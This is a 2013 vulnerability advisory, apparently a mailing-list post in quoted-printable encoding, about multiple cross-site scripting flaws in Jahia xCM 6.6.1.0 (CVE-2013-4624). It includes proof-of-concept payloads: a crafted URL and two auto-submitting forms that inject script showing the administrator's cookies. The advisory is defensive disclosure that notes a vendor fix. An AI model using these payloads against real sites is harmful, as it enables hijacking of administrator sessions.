Advisory ID: HTB23159
Product: Jahia xCM=20
Vendor: Jahia Solutions Group SA=20
Vulnerable Version(s): 6.6.1.0 r43343 and probably prior
Tested Version: 6.6.1.0 r43343
Vendor Notification: June 5, 2013=20
Vendor Patch: July 17, 2013=20
Public Disclosure: July 31, 2013=20
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4624
Risk Level: Low=20
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilit=
ies in Jahia xCM, which can be exploited to perform cross-site scripting at=
tacks against administrator of vulnerable application.
1) Multiple Cross-Site Scripting (XSS) Vulnerabilites in Jahia xCM: CVE-201=
3-4624
1.1 The vulnerability exists due to insufficient sanitisation of user-suppl=
ied data in "site" HTTP GET parameter passed to "/engines/manager.jsp" scri=
pt. A remote attacker can trick a logged-in administrator to open a special=
ly crafted link and execute arbitrary HTML and script code in browser in c=
ontext of the vulnerable website.
The exploitation example below uses JavaScript 'alert()' function to displa=
y administrator's cookies:
http://[host]/engines/manager.jsp?conf=3Drepositoryexplorer&site=3D%3C/scri=
pt%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
1.2 The vulnerability exists due to insufficient filtration of user-supplie=
d data in "searchString" HTTP POST parameter passed to "/administration/" U=
RI when "do=3Dusers" and "sub=3Dsearch". A remote attacker can trick a logg=
ed-in administrator to open a specially crafted link and execute arbitrary =
HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses JavaScript 'alert()' function to displa=
y administrator's cookies:
<form action=3D"http://[host]/administration/?do=3Dusers&sub=3Dsearch" meth=
od=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"searchString" value=3D"'><script>alert(doc=
ument.cookie);</script>">
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to insufficient sanitisation of user-suppl=
ied data in "username", "manage-user-property#j:firstName", "manage-user-pr=
operty#j:lastName", "manage-user-property#j:email" and "manage-user-propert=
y#j:organization" HTTP POST parameters passed to "/administration/" URI whe=
n "do=3Dusers" and "sub=3DprocessCreate". A remote attacker can trick a log=
ged-in administrator to open a specially crafted link and execute arbitrary=
HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses JavaScript 'alert()' function to displa=
y administrator's cookies:
<form action=3D"http://[host]/administration/?do=3Dusers&sub=3DprocessCreat=
e" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"username" value=
=3D"'><script>alert(document.cookie);</script>">
<input type=3D"hidden" name=3D"manage-user-property#j:firstName" value=
=3D"'><script>alert(document.cookie);</script>">
<input type=3D"hidden" name=3D"manage-user-property#j:lastName" value=
=3D"'><script>alert(document.cookie);</script>">
<input type=3D"hidden" name=3D"manage-user-property#j:email" value=
=3D"'><script>alert(document.cookie);</script>">
<input type=3D"hidden" name=3D"manage-user-property#j:organization" value=
=3D"'><script>alert(document.cookie);</script>">
<input type=3D"hidden" name=3D"actionType" value=3D'save'>
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.main.submit();
</script>
---------------------------------------------------------------------------=
--------------------
Solution:
Apply hotfix 7, that is available to all customers:
https://www.jahia.com/fr/home/support/customers-extranet/enterprise-jahia-d=
ownloads/jahia-xcm---version-66.html
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23159 - https://www.htbridge.com/advisory/=
HTB23159 - Multiple XSS Vulnerabilities in Jahia xCM.
[2] Jahia xCM - http://www.jahia.com - Jahia xCM is the unified interface t=
o access, personalize and manage best of breed WCM, portal and document man=
agement features.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.